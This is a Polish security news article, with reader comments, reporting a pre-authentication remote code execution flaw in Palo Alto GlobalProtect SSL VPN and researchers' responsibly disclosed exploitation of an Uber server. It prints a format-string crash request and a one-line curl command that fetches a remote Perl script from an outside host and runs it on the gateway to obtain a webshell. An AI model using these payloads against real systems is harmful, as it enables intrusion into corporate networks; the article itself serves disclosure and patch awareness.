21.07.2019 | 16:11

irq

Zhakowali Ubera przez lukę w VPN-ie Palo Alto

Stara zasada inżynierów elektroników mówiła: projektuj układ elektroniczny tak, by moduł zabezpieczający nie spalił układu zabezpieczanego. Zbyt często okazywało się, że wpływ dodatkowych zabezpieczeń podstawowych funkcji (np. wzmacniacza dużych mocy) mógł zamiast ochronić spowodować jego spalenie.

Okazuje się, że współczesne architektury bezpieczeństwa systemów informatycznych również powinny uwzględniać te stare i sprawdzone zasady. Trzeba tak projektować architekturę, by dokładając kolejny element zabezpieczeń, nie narazić całego systemu na katastrofalne skutki.  Takie skutki może przynieść umieszczenie na granicy sieci (perymetrze)  urządzenia, które z jednej strony ma doskonale odizolować sieć firmową od publicznej, a z drugiej dać dostęp do sieci firmowej tym, którym to niezbędne. Myślę o serwerze realizującym SSL VPN dla firmy. Przejęcie przez atakujących takiego serwera może doprowadzić do nieuprawnionego dostępu do wszystkich zasobów wewnętrznych, a nawet do przejęcia kont wszystkich użytkowników łączących się z zewnątrz.  

Grupa badaczy rozpoczęła analizy rozwiązań SSL VPN, a pierwsze wnioski nie skłaniają do optymizmu. Podatne okazały się rozwiązania firmy Palo Alto.

Podatność

Błąd wydaje się łatwy do wykorzystania i polega na nadużyciu funkcji przetwarzającej łańcuchy formatujące (format string attack) bez konieczności uwierzytelnienia. Ta kategoria błędów nadużywana jest od roku 2000 i odkrycie jej w 2019 roku jest sporym zaskoczeniem. Usługa sslmgr to element bramki VPN, który realizuje m.in. negocjację warunków komunikacji między serwerem a klientem w połączeniu SSL VPN. Serwis ten jest eksponowany jako nginx Reverse Proxy i jest dostępny z zewnątrz poprzez odwołanie do /sslmgr.

Źródło: https://devco.re/blog/2019/07/17/attacking-ssl-vpn-part-1-PreAuth-RCE-on-Palo-Alto-GlobalProtect-with-Uber-as-case-study/

Serwis sslmgr w trakcie przetwarzania próbuje dopasować wartość parametru  scep-profile-name  do funkcji snprintf. To w łatwy sposób (wykorzystując  znak %n) można wykorzystać do ataku typu Format String Attack i spowodować wyłączenie usługi (crash).

POST/sslmgrHTTP/1.1 
Host:global-protect 
Content-Length: 36

scep-profile-name=%n%n%n%n%n…

Warto przeanalizować  metodę weryfikacji, jaką posłużyli się badacze, by potwierdzić podatność w rzeczywistym systemie. Przekazując serwerowi żądania do przetwarzania, nie analizują odpowiedzi serwera jako takiej (bo w tym wypadku była pusta), ale analizują czas odpowiedzi serwera. Jest to forma ataku kanałem bocznym (side-channel attack).

Mogłoby się wydawać, że już samo zatrzymanie takiej usługi jest problemem dla jej użytkowników. Jednak analiza sposobu przetwarzania w procesach SSL VPN GlobalProtecta pozwoliła na przygotowanie exploita, który stanowił webshell (interfejs dla  poleceń systemowych poprzez przeglądarkę).

$ curl -d 'scep-profile-name=curl orange.tw/bc.pl | perl -' https://global-protect/sslmgr

Pełen skrypt bc.pl dostępny jest na stronach WWW badaczy. W ten sposób w kilku linijkach pokazano bardzo istotną podatność klasy RCE (Remote Code Execution – zdalne wykonanie kodu).

Wszystkie wersje GlobalProtecta (GP) wydane przed lipcem 2018 (czyli ponad rok temu) są podatne na ten błąd, czyli dotyczy to wersji:

  • Palo Alto GlobalProtect SSL VPN 7.1.x < 7.1.19
  • Palo Alto GlobalProtect SSL VPN 8.0.x < 8.0.12
  • Palo Alto GlobalProtect SSL VPN 8.1.x < 8.1.3

Linie GP 7.0.x oraz GP 9 nie są dotknięte tym problemem.

Badacze zgłosili swoje  odkrycie do Palo Alto Networks, jednak dowiedzieli się, że firma w ramach własnych analiz odkryła ten błąd i opublikowała poprawkę, dzięki czemu nowsze wersje Global Protect nie są już podatne. Jednak wypuszczając poprawkę, producent zrobił to bez opisania problemu szerzej i nie wskazał krytyczności tej poprawki. Można rozumieć ograniczenie ilości przekazywanych szczegółów (by utrudnić analizę atakującym), jednak swoiste „wyciszanie” i nieinformowanie o problemie może skutkować tym, iż nie każdy przyłoży się do implementacji poprawek. Co, jak się właśnie okazało, miało miejsce.

A tymczasem na świecie mamy wiele podatnych serwerów SSL VPN

Skoro Palo Alto Networks dosyć lekko podeszło do problemu, badacze postanowili zweryfikować, jak użytkownicy ich usługi zareagują na taki błąd. Z dużych firm wybrano Uber, który – jak się okazało – jest właścicielem około 22 serwerów, na których działa GlobalProtect na całym świecie (jako przykład podano vpn.awscorp.uberinternal.com). Na podstawie strony logowania potwierdzona została wersja GP (podatna na opisany atak) i przeprowadzono udany atak wykorzystania podatności serwisu, uzyskując webshella i kontrolę nad serwerem dostarczającym usługę SSL VPN dla firmy.

Źródło: https://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html

Uber bardzo rozsądnie podszedł do zgłoszonego problemu, traktując go jako ważną informację dla podnoszenia bezpieczeństwa firmy. Poinformował też, że VPN w usłudze AWS nie obsługiwał podstawowej infrastruktury firmy, w związku z czym wpływ na organizację i bezpieczeństwo danych nie był tak znaczący. Uber docenił jednak badaczy za odpowiedzialne zgłoszenie słabości systemu (Responsible disclosure) i wypłacił nagrodę z programu Bug Bounty.

Epilog

Badacze zapowiadają więcej rzeczowych i potwierdzonych informacji o podatnościach oraz exploity  PoC (Proof-of-Concept) słabości rozwiązań SSL VPN. Swoje odkrycia chcą prezentować na zbliżających się konferencjach BlackHat i DEFCON. Szykuje się interesujący i pracowity okres dla firm produkujących kluczowe rozwiązania bezpieczeństwa.

Historia ta pokazuje, jak ważne jest aktualizowanie wszystkich komponentów swoich rozwiązań IT. Obecnie nie istnieją poprawki nieznaczące – każda może naprawiać krytyczny błąd.

Powrót

Komentarze

  • 2019.07.21 16:59 Manfred

    W kuluarch zbliżonych do zainteresowanych powiadają że %n nie działa w windowsie, ale to nie polskie inzyniery i nikt im nie wierzy.

    Odpowiedz
  • 2019.07.22 10:57 mrk

    Uzywam produktow PA. Jak ktos ma podatna infrastrukture to jest sam sobie winien. Z Palo przychodza regularnie biuletyny security advisory i silna sugestia przejscia na linie 9.x byla juz BARDZO dawno.
    Z grubsza wyglada to tak:
    1. Olewka best practice i zalecen producenta
    2. Infrastruktura shaczona
    3. Surprised_Piccachu.jpg

    Odpowiedz
    • 2019.07.22 11:10 Adam Haertle

      Wszystko ok ale dlaczego dopiero 2 dni temu pojawił się biuletyn o tym błędzie? Wiele miesięcy za późno.

      Odpowiedz
    • 2019.07.22 22:34 Grzegorz

      Gdzie widziałeś zalecenia z przejściem na 9.x jak zalecana jest 8.1.6-h2?

      Odpowiedz
  • 2019.07.22 12:39 Krzysiek

    PA to badziewie, przeszlismy na Forti i duzo mniej problemow, PA zawsze bylo w tyle za Forti

    Odpowiedz
    • 2019.07.22 18:44 Bartek

      A jak oceniacie produkty Watchguard? Taki UTM mi polecono jakiś czas temu i działa OK, ale jak widać licho nie śpi.

      Odpowiedz
    • 2019.07.22 22:28 irq

      Oczywiście ocena subiektywna, na którą składa się wiele czynników (wykorzystywane funkcjonalności, kompletność rozwiązania, wydajność, stabilność urządzenia i stabilność developmentu, łatwość użytkowania, wsparcie producenta, koszty). Ja bym się nie odważył porównać … zawsze znajdą się wyznawcy jednych i drugich rozwiązań.

      Żaden z dostawców rozwiązań nie uniknie błędów. O dojrzałości firmy i produktu świadczy sposobów w jaki obsługują taki błąd. Dla firmy taka sytuacja to jak incydent.

      Odpowiedz
  • 2019.07.25 14:25 C. Bolek

    To strategia marketingowa PA – nie informować o problemach i ich produktami i krzyczeć o wszelkich (czasami naciąganych) przewagach. Wiem, zaraz ktoś powie, że każda firma to robi. OK, ale IMHO w przypadku PA to jest zwielokrotnione do przesady. Wiem o onnych strategiach – np. takich, że jak oferują sprzęt to zawsze go niedoszacowują pod względem wydajności – chodzi o to, że w większości przypadku taka myk się udaje i klient generuje (na obecną chwilę) mniejszy ruch niż deklaruje, a zysk jest taki że zawsze są tańsi niż sprzęt konkurencji (co z tego, że bardziej wydajny).

    Odpowiedz

Zostaw odpowiedź

Jeśli chcesz zwrócić uwagę na literówkę lub inny błąd techniczny, zapraszamy do formularza kontaktowego. Reagujemy równie szybko.

Zhakowali Ubera przez lukę w VPN-ie Palo Alto

Komentarze